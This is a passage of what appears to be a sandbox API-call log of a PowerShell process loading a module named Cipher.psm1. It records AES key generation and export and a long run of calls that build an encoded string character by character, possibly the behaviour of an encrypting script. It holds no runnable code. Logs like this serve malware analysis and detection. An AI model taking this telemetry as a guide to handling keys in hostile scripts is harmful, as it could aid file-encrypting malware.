[3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.156] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4e, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4e, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.157] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae768, nSize=0x100 | out: lpBuffer="\x1161\x73b6\x30f7\x6b24\x14\x01\xd440\x73ae\x96e8\x667") returned 0x0 [0128.157] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae444, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0128.157] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeb40*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeb40*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4f, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.158] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeaa0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeaa0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4e, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.158] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4f, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4f, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.158] CryptAcquireContextW (in: phProv=0x99ae3e0, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae3e0*=0x4396b48) returned 1 [0128.159] CryptGenKey (in: hProv=0x4396b48, Algid=0x6610, dwFlags=0x1, phKey=0x99ae80c | out: phKey=0x99ae80c*=0x8e84af8) returned 1 [0128.159] CryptContextAddRef (hProv=0x4396b48, pdwReserved=0x0, dwFlags=0x0) returned 1 [0128.159] CryptExportKey (in: hKey=0x8e84af8, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x99ae7f8 | out: pbData=0x0*, pdwDataLen=0x99ae7f8*=0x2c) returned 1 [0128.159] CryptExportKey (in: hKey=0x8e84af8, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x6a0cbfc, pdwDataLen=0x99ae7f8 | out: pbData=0x6a0cbfc*, pdwDataLen=0x99ae7f8*=0x2c) returned 1 [0128.159] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae35c, nSize=0x100 | out: lpBuffer="") returned 0x0 [0128.159] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae734*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae734*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x50, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.159] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae694*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae694*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4f, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.160] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae724*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x50, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae724*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x50, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.161] SysStringLen (param_1="") returned 0x8 [0128.161] SysStringLen (param_1="U") returned 0x8 [0128.161] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.161] SysStringLen (param_1="\xfca0\x27a3\xa5b\x4cd1\x6e68\xa7d\x6af0\xa27d") returned 0x8 [0128.161] SysStringLen (param_1="\xfca0\x27a3\xa5b\x4cd1\x6e68\xa7d\x6af0\xa27d") returned 0x8 [0128.161] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.161] SysStringLen (param_1="UE") returned 0x8 [0128.161] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.161] SysStringLen (param_1="\x51af\x2300\x6434\xf86e\x6665\x3651\x76d8\x1dd5") returned 0x8 [0128.161] SysStringLen (param_1="\x51af\x2300\x6434\xf86e\x6665\x3651\x76d8\x1dd5") returned 0x8 [0128.161] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.161] SysStringLen (param_1="UEK") returned 0x8 [0128.161] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.162] SysStringLen (param_1="\x15fe\xf297\x941b\xf50a\x5844\xfbe0\x18d3\xd422") returned 0x8 [0128.162] SysStringLen (param_1="\x15fe\xf297\x941b\xf50a\x5844\xfbe0\x18d3\xd422") returned 0x8 [0128.162] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.162] SysStringLen (param_1="UEKL") returned 0x8 [0128.162] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.162] SysStringLen (param_1="\xc2b5\x83ec\x9b34\x2747\x3c84\xe585\x78c7\x3afb") returned 0x8 [0128.162] SysStringLen (param_1="\xc2b5\x83ec\x9b34\x2747\x3c84\xe585\x78c7\x3afb") returned 0x8 [0128.162] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.162] SysStringLen (param_1="UEKLR") returned 0x8 [0128.162] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.162] SysStringLen (param_1="\x8c12\x2727\x2767\x839\xf360\x78ee\x356c\x8160") returned 0x8 [0128.162] SysStringLen (param_1="\x8c12\x2727\x2767\x839\xf360\x78ee\x356c\x8160") returned 0x8 [0128.162] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.162] SysStringLen (param_1="UEKLRE") returned 0x8 [0128.162] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.162] SysStringLen (param_1="\x3815\x943e\xbd1\xe504\x8f9a\x8142\xf902\x5db4") returned 0x8 [0128.162] SysStringLen (param_1="\x3815\x943e\xbd1\xe504\x8f9a\x8142\xf902\x5db4") returned 0x8 [0128.162] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.163] SysStringLen (param_1="UEKLREq") returned 0x8 [0128.163] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.163] SysStringLen (param_1="\x81e2\xb9a8\x3ab6\x3639\x99e8\xf973\x483a\xe593") returned 0x8 [0128.163] SysStringLen (param_1="\x81e2\xb9a8\x3ab6\x3639\x99e8\xf973\x483a\xe593") returned 0x8 [0128.163] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.163] SysStringLen (param_1="UEKLREqp") returned 0x8 [0128.163] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.163] SysStringLen (param_1="\x7329\xe6eb\xb1d3\x32b6\x6b8\xd19\x9629\x5c5b") returned 0x8 [0128.163] SysStringLen (param_1="\x7329\xe6eb\xb1d3\x32b6\x6b8\xd19\x9629\x5c5b") returned 0x8 [0128.163] SysStringLen (param_1="\x7329\xe6eb\xb1d3\x32b6\x6b8\xd19\x9629\x5c5b") returned 0x8 [0128.163] SysStringLen (param_1="\x7329\xe6eb\xb1d3\x32b6\x6b8\xd19\x9629\x5c5b") returned 0x10 [0128.163] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.163] SysStringLen (param_1="UEKLREqpS슛㎰쉸ᦌ폒沈") returned 0x10 [0128.163] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.163] SysStringLen (param_1="\x7329\xe6eb\xb1d3\x32b6\x6b8\xd19\x9629\x5c5b\x1fdf\xaafa\xf142\x2646\x3607\xfa73\xc5e2\xd642") returned 0x10 [0128.163] SysStringLen (param_1="\x7329\xe6eb\xb1d3\x32b6\x6b8\xd19\x9629\x5c5b\x1fdf\xaafa\xf142\x2646\x3607\xfa73\xc5e2\xd642") returned 0x10 [0128.163] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.164] SysStringLen (param_1="UEKLREqpS1슛㎰쉸ᦌ폒沈") returned 0x10 [0128.164] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.164] SysStringLen (param_1="\x7329\xe6eb\xb1d3\x32b6\x6b8\xd19\x9629\x5c5b\x5fba\x98bd\xe335\x7a8b\x2ed1\x22b1\xe8f8\x3add") returned 0x10 [0128.164] SysStringLen (param_1="\x7329\xe6eb\xb1d3\x32b6\x6b8\xd19\x9629\x5c5b\x5fba\x98bd\xe335\x7a8b\x2ed1\x22b1\xe8f8\x3add") returned 0x10 [0128.164] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.164] SysStringLen (param_1="UEKLREqpS1j㎰쉸ᦌ폒沈") returned 0x10 [0128.164] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.164] SysStringLen (param_1="\x7329\xe6eb\xb1d3\x32b6\x6b8\xd19\x9629\x5c5b\xa3c1\xa966\xe076\x4652\x93af\xea3b\xa93e\xd24f") returned 0x10 [0128.164] SysStringLen (param_1="\x7329\xe6eb\xb1d3\x32b6\x6b8\xd19\x9629\x5c5b\xa3c1\xa966\xe076\x4652\x93af\xea3b\xa93e\xd24f") returned 0x10 [0128.164] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.164] SysStringLen (param_1="UEKLREqpS1jL쉸ᦌ폒沈") returned 0x10 [0128.164] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.164] SysStringLen (param_1="\x7329\xe6eb\xb1d3\x32b6\x6b8\xd19\x9629\x5c5b\xc713\x3900\x8102\xcbb4\x29c5\xa2a1\x910c\xc85d") returned 0x10 [0128.164] SysStringLen (param_1="\x7329\xe6eb\xb1d3\x32b6\x6b8\xd19\x9629\x5c5b\xc713\x3900\x8102\xcbb4\x29c5\xa2a1\x910c\xc85d") returned 0x10 [0128.164] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.164] SysStringLen (param_1="UEKLREqpS1jLyᦌ폒沈") returned 0x10 [0128.164] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.165] SysStringLen (param_1="\x7329\xe6eb\xb1d3\x32b6\x6b8\xd19\x9629\x5c5b\xd3aa\x1865\x27d7\x3ddd\xce03\xa640\xb105\xeb9c") returned 0x10 [0128.165] SysStringLen (param_1="\x7329\xe6eb\xb1d3\x32b6\x6b8\xd19\x9629\x5c5b\xd3aa\x1865\x27d7\x3ddd\xce03\xa640\xb105\xeb9c") returned 0x10 [0128.165] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.165] SysStringLen (param_1="UEKLREqpS1jLyJ폒沈") returned 0x10 [0128.165] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.165] SysStringLen (param_1="\x7329\xe6eb\xb1d3\x32b6\x6b8\xd19\x9629\x5c5b\x82cf\xd22c\xcbb4\x7c6d\x1ca0\x387a\x9ab1\x3177") returned 0x10 [0128.165] SysStringLen (param_1="\x7329\xe6eb\xb1d3\x32b6\x6b8\xd19\x9629\x5c5b\x82cf\xd22c\xcbb4\x7c6d\x1ca0\x387a\x9ab1\x3177") returned 0x10 [0128.165] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.165] SysStringLen (param_1="UEKLREqpS1jLyJH沈") returned 0x10 [0128.165] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.165] SysStringLen (param_1="\x7329\xe6eb\xb1d3\x32b6\x6b8\xd19\x9629\x5c5b\x8b78\x8e61\x449a\x2d3f\xe3b9\xe037\x3e29\x2a2") returned 0x10 [0128.165] SysStringLen (param_1="\x7329\xe6eb\xb1d3\x32b6\x6b8\xd19\x9629\x5c5b\x8b78\x8e61\x449a\x2d3f\xe3b9\xe037\x3e29\x2a2") returned 0x10 [0128.165] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.165] SysStringLen (param_1="UEKLREqpS1jLyJHl") returned 0x10 [0128.165] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.165] SysStringLen (param_1="\x7329\xe6eb\xb1d3\x32b6\x6b8\xd19\x9629\x5c5b\x6d99\x8b37\xf5e9\xa0bd\xeeb6\xe2ad\x5f47\xbbbd") returned 0x10 [0128.166] SysStringLen (param_1="\x7329\xe6eb\xb1d3\x32b6\x6b8\xd19\x9629\x5c5b\x6d99\x8b37\xf5e9\xa0bd\xeeb6\xe2ad\x5f47\xbbbd") returned 0x10 [0128.166] SysStringLen (param_1="\x7329\xe6eb\xb1d3\x32b6\x6b8\xd19\x9629\x5c5b\x6d99\x8b37\xf5e9\xa0bd\xeeb6\xe2ad\x5f47\xbbbd") returned 0x10 [0128.166] SysStringLen (param_1="\x7329\xe6eb\xb1d3\x32b6\x6b8\xd19\x9629\x5c5b\x6d99\x8b37\xf5e9\xa0bd\xeeb6\xe2ad\x5f47\xbbbd") returned 0x18 [0128.166] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.166] SysStringLen (param_1="UEKLREqpS1jLyJHlj謝蚡ꆻ⩶᪼譮") returned 0x18 [0128.166] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.166] SysStringLen (param_1="\x7329\xe6eb\xb1d3\x32b6\x6b8\xd19\x9629\x5c5b\x6d99\x8b37\xf5e9\xa0bd\xeeb6\xe2ad\x5f47\xbbbd\xafa1\x8ea8\xc90d\x55af\x6eef\x9611\xc969\x4d9e") returned 0x18 [0128.166] SysStringLen (param_1="\x7329\xe6eb\xb1d3\x32b6\x6b8\xd19\x9629\x5c5b\x6d99\x8b37\xf5e9\xa0bd\xeeb6\xe2ad\x5f47\xbbbd\xafa1\x8ea8\xc90d\x55af\x6eef\x9611\xc969\x4d9e") returned 0x18 [0128.166] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.166] SysStringLen (param_1="UEKLREqpS1jLyJHljp蚡ꆻ⩶᪼譮") returned 0x18 [0128.166] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.166] SysStringLen (param_1="\x7329\xe6eb\xb1d3\x32b6\x6b8\xd19\x9629\x5c5b\x6d99\x8b37\xf5e9\xa0bd\xeeb6\xe2ad\x5f47\xbbbd\x3fa2\xdd61\x1ba3\xed2d\x62b2\xd9e6\x5042\xfad0") returned 0x18 [0128.166] SysStringLen (param_1="\x7329\xe6eb\xb1d3\x32b6\x6b8\xd19\x9629\x5c5b\x6d99\x8b37\xf5e9\xa0bd\xeeb6\xe2ad\x5f47\xbbbd\x3fa2\xdd61\x1ba3\xed2d\x62b2\xd9e6\x5042\xfad0") returned 0x18 [0128.166] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.166] SysStringLen (param_1="UEKLREqpS1jLyJHljp/ꆻ⩶᪼譮") returned 0x18 [0128.166] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.166] SysStringLen (param_1="\x7329\xe6eb\xb1d3\x32b6\x6b8\xd19\x9629\x5c5b\x6d99\x8b37\xf5e9\xa0bd\xeeb6\xe2ad\x5f47\xbbbd\xd14c\x71ef\xae5\xb7a1\xf49\xbd2d\xadf4\x73aa") returned 0x18 [0128.167] SysStringLen (param_1="\x7329\xe6eb\xb1d3\x32b6\x6b8\xd19\x9629\x5c5b\x6d99\x8b37\xf5e9\xa0bd\xeeb6\xe2ad\x5f47\xbbbd\xd14c\x71ef\xae5\xb7a1\xf49\xbd2d\xadf4\x73aa") returned 0x18 [0128.167] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.167] SysStringLen (param_1="UEKLREqpS1jLyJHljp/f⩶᪼譮") returned 0x18 [0128.167] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.167] SysStringLen (param_1="\x7329\xe6eb\xb1d3\x32b6\x6b8\xd19\x9629\x5c5b\x6d99\x8b37\xf5e9\xa0bd\xeeb6\xe2ad\x5f47\xbbbd\x6d9b\xc54e\xcb19\x5759\xccd5\x8948\x74\xa406") returned 0x18 [0128.167] SysStringLen (param_1="\x7329\xe6eb\xb1d3\x32b6\x6b8\xd19\x9629\x5c5b\x6d99\x8b37\xf5e9\xa0bd\xeeb6\xe2ad\x5f47\xbbbd\x6d9b\xc54e\xcb19\x5759\xccd5\x8948\x74\xa406") returned 0x18 [0128.167] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.167] SysStringLen (param_1="UEKLREqpS1jLyJHljp/f9᪼譮") returned 0x18 [0128.167] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.167] SysStringLen (param_1="\x7329\xe6eb\xb1d3\x32b6\x6b8\xd19\x9629\x5c5b\x6d99\x8b37\xf5e9\xa0bd\xeeb6\xe2ad\x5f47\xbbbd\x3a6b\xea87\xaa2b\xcb7c\xf613\x3dd2\xe927\x9abb") returned 0x18 [0128.167] SysStringLen (param_1="\x7329\xe6eb\xb1d3\x32b6\x6b8\xd19\x9629\x5c5b\x6d99\x8b37\xf5e9\xa0bd\xeeb6\xe2ad\x5f47\xbbbd\x3a6b\xea87\xaa2b\xcb7c\xf613\x3dd2\xe927\x9abb") returned 0x18 [0128.167] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.167] SysStringLen (param_1="UEKLREqpS1jLyJHljp/f9M᪼譮") returned 0x18 [0128.167] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.167] SysStringLen (param_1="\x7329\xe6eb\xb1d3\x32b6\x6b8\xd19\x9629\x5c5b\x6d99\x8b37\xf5e9\xa0bd\xeeb6\xe2ad\x5f47\xbbbd\x286\x2e69\xa64a\xa880\xcd7e\xca4f\x37b8\x1859") returned 0x18 [0128.167] SysStringLen (param_1="\x7329\xe6eb\xb1d3\x32b6\x6b8\xd19\x9629\x5c5b\x6d99\x8b37\xf5e9\xa0bd\xeeb6\xe2ad\x5f47\xbbbd\x286\x2e69\xa64a\xa880\xcd7e\xca4f\x37b8\x1859") returned 0x18 [0128.167] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.167] SysStringLen (param_1="UEKLREqpS1jLyJHljp/f9Mf譮") returned 0x18 [0128.168] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.168] SysStringLen (param_1="\x7329\xe6eb\xb1d3\x32b6\x6b8\xd19\x9629\x5c5b\x6d99\x8b37\xf5e9\xa0bd\xeeb6\xe2ad\x5f47\xbbbd\x26cb\x280\x52f7\x61f4\xacb7\xa71\xa979\x1a7a") returned 0x18 [0128.168] SysStringLen (param_1="\x7329\xe6eb\xb1d3\x32b6\x6b8\xd19\x9629\x5c5b\x6d99\x8b37\xf5e9\xa0bd\xeeb6\xe2ad\x5f47\xbbbd\x26cb\x280\x52f7\x61f4\xacb7\xa71\xa979\x1a7a") returned 0x18 [0128.168] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.168] SysStringLen (param_1="UEKLREqpS1jLyJHljp/f9Mfz") returned 0x18 [0128.168] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.168] SysStringLen (param_1="\x7329\xe6eb\xb1d3\x32b6\x6b8\xd19\x9629\x5c5b\x6d99\x8b37\xf5e9\xa0bd\xeeb6\xe2ad\x5f47\xbbbd\x3842\x664d\x1a0a\xbf88\x14bb\xf686\x8901\x15b0") returned 0x18 [0128.168] SysStringLen (param_1="\x7329\xe6eb\xb1d3\x32b6\x6b8\xd19\x9629\x5c5b\x6d99\x8b37\xf5e9\xa0bd\xeeb6\xe2ad\x5f47\xbbbd\x3842\x664d\x1a0a\xbf88\x14bb\xf686\x8901\x15b0") returned 0x18 [0128.168] SysStringLen (param_1="\x7329\xe6eb\xb1d3\x32b6\x6b8\xd19\x9629\x5c5b\x6d99\x8b37\xf5e9\xa0bd\xeeb6\xe2ad\x5f47\xbbbd\x3842\x664d\x1a0a\xbf88\x14bb\xf686\x8901\x15b0") returned 0x18 [0128.168] SysStringLen (param_1="\x7329\xe6eb\xb1d3\x32b6\x6b8\xd19\x9629\x5c5b\x6d99\x8b37\xf5e9\xa0bd\xeeb6\xe2ad\x5f47\xbbbd\x3842\x664d\x1a0a\xbf88\x14bb\xf686\x8901\x15b0") returned 0x20 [0128.168] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.168] SysStringLen (param_1="UEKLREqpS1jLyJHljp/f9MfzJ晧楂뺎큻쳺╣") returned 0x20 [0128.168] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.168] SysStringLen (param_1="\x7329\xe6eb\xb1d3\x32b6\x6b8\xd19\x9629\x5c5b\x6d99\x8b37\xf5e9\xa0bd\xeeb6\xe2ad\x5f47\xbbbd\x3842\x664d\x1a0a\xbf88\x14bb\xf686\x8901\x15b0\x8fc0\x4a74\x1ed3\x3e9f\x9e27\x3721\x5975\x7963") returned 0x20 [0128.168] SysStringLen (param_1="\x7329\xe6eb\xb1d3\x32b6\x6b8\xd19\x9629\x5c5b\x6d99\x8b37\xf5e9\xa0bd\xeeb6\xe2ad\x5f47\xbbbd\x3842\x664d\x1a0a\xbf88\x14bb\xf686\x8901\x15b0\x8fc0\x4a74\x1ed3\x3e9f\x9e27\x3721\x5975\x7963") returned 0x20 [0128.168] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.169] SysStringLen (param_1="UEKLREqpS1jLyJHljp/f9MfzJO楂뺎큻쳺╣") returned 0x20 [0128.169] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.169] SysStringLen (param_1="\x7329\xe6eb\xb1d3\x32b6\x6b8\xd19\x9629\x5c5b\x6d99\x8b37\xf5e9\xa0bd\xeeb6\xe2ad\x5f47\xbbbd\x3842\x664d\x1a0a\xbf88\x14bb\xf686\x8901\x15b0\x9e20\xca8a\xc8f2\x44bd\x462c\x486a\xf0f3\xba80") returned 0x20 [0128.169] SysStringLen (param_1="\x7329\xe6eb\xb1d3\x32b6\x6b8\xd19\x9629\x5c5b\x6d99\x8b37\xf5e9\xa0bd\xeeb6\xe2ad\x5f47\xbbbd\x3842\x664d\x1a0a\xbf88\x14bb\xf686\x8901\x15b0\x9e20\xca8a\xc8f2\x44bd\x462c\x486a\xf0f3\xba80") returned 0x20 [0128.169] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.169] SysStringLen (param_1="UEKLREqpS1jLyJHljp/f9MfzJOi뺎큻쳺╣") returned 0x20 [0128.169] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.169] SysStringLen (param_1="\x7329\xe6eb\xb1d3\x32b6\x6b8\xd19\x9629\x5c5b\x6d99\x8b37\xf5e9\xa0bd\xeeb6\xe2ad\x5f47\xbbbd\x3842\x664d\x1a0a\xbf88\x14bb\xf686\x8901\x15b0\x488d\x25bb\x6705\x78d4\xa115\xbb11\xb590\x9df0") returned 0x20 [0128.169] SysStringLen (param_1="\x7329\xe6eb\xb1d3\x32b6\x6b8\xd19\x9629\x5c5b\x6d99\x8b37\xf5e9\xa0bd\xeeb6\xe2ad\x5f47\xbbbd\x3842\x664d\x1a0a\xbf88\x14bb\xf686\x8901\x15b0\x488d\x25bb\x6705\x78d4\xa115\xbb11\xb590\x9df0") returned 0x20 [0128.169] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.169] SysStringLen (param_1="UEKLREqpS1jLyJHljp/f9MfzJOia큻쳺╣") returned 0x20 [0128.169] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.169] SysStringLen 